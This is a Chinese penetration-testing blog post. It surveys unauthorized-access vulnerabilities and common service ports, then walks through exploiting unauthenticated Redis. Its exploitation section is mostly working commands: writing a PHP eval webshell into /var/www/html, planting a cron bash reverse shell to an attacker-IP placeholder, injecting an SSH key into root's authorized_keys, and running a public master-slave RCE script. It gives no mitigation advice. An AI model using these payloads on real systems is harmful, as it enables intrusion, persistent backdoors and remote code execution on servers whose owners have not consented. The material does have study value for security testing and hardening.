未授权访问概述及Redis未授权

发布于 2021-02-13  542 次阅读


《渗透测试》目录

Redis未授权访问

1.未授权概述:未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

  • Redis未授权访问漏洞
  • ZooKeeper未授权访问漏洞
  • MongoDB未授权访问漏洞
  • Rsync未授权访问漏洞
  • Jenkins未授权访问漏洞
  • Atlassian Crowd未授权访问漏洞
  • Memcached未授权访问漏洞
  • CouchDB未授权访问漏洞
  • JBOSS未授权访问漏洞
  • Elasticsearch未授权访问漏洞
  • VNC未授权访问漏洞
  • Hadoop未授权访问漏洞
  • Docker未授权访问漏洞
  • Jupyter Notebook未授权访问漏洞

未授权访问特征发现

端口:

  • Redis:默认6379端口
  • MongoDB:27017
  • Memcached:11211
  • Jboss:8080
  • VNC:5900、5901
  • Docker:2375

nmap -v -Pn -p 6379 -sV (-v:显示过程,-Pn:no ping,-sV:版本探测)

2.Redis相关介绍

(1)Redis:Redis 是完全开源的,遵守 BSD 协议,是一个高性能的key-value 数据库。

应用场景:在 Java Web 主要有两个应用场景:  

<1>存储 缓存 用的数据;                

<2>需要高速读/写的场合使用它快速读/写;

.

(2)Redis历史漏洞

  • Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。

  • Redis主从复制RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意.so文件,达到代码执行的目的。

.

(3)Redis漏洞利用

  • 未授权访问(下载连接程序)
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz            //解压
cd redis-6.0.3/
Make                                         //编译
cd src/
cp redis-cli /usr/bin                //客户端连接程序
  • 未授权访问(写webshell)
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
  • 未授权访问(反弹shell)
redis-cli -h 目标IP
set xxx "\n\n*/* * * * * /bin/bash -i>&/dev/tcp/攻击机IP/8050 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
  • 未授权访问(写公钥)

生成密钥:ssh-keygen -t rsa            (-t指定类型)

默认情况下,生成后在用户的家目录下的 .ssh 目录下

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh root@目标IP -i ~/.ssh/id_rsa
  • 未授权访问(主从复制RCE)

https://github.com/vulhub/redis-rogue-getshell

python3 redis-master.py -r 目标IP -p 6380 -L 本地IP -P 1234 -f
RedisModulesSDK/exp.so -c "id"

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。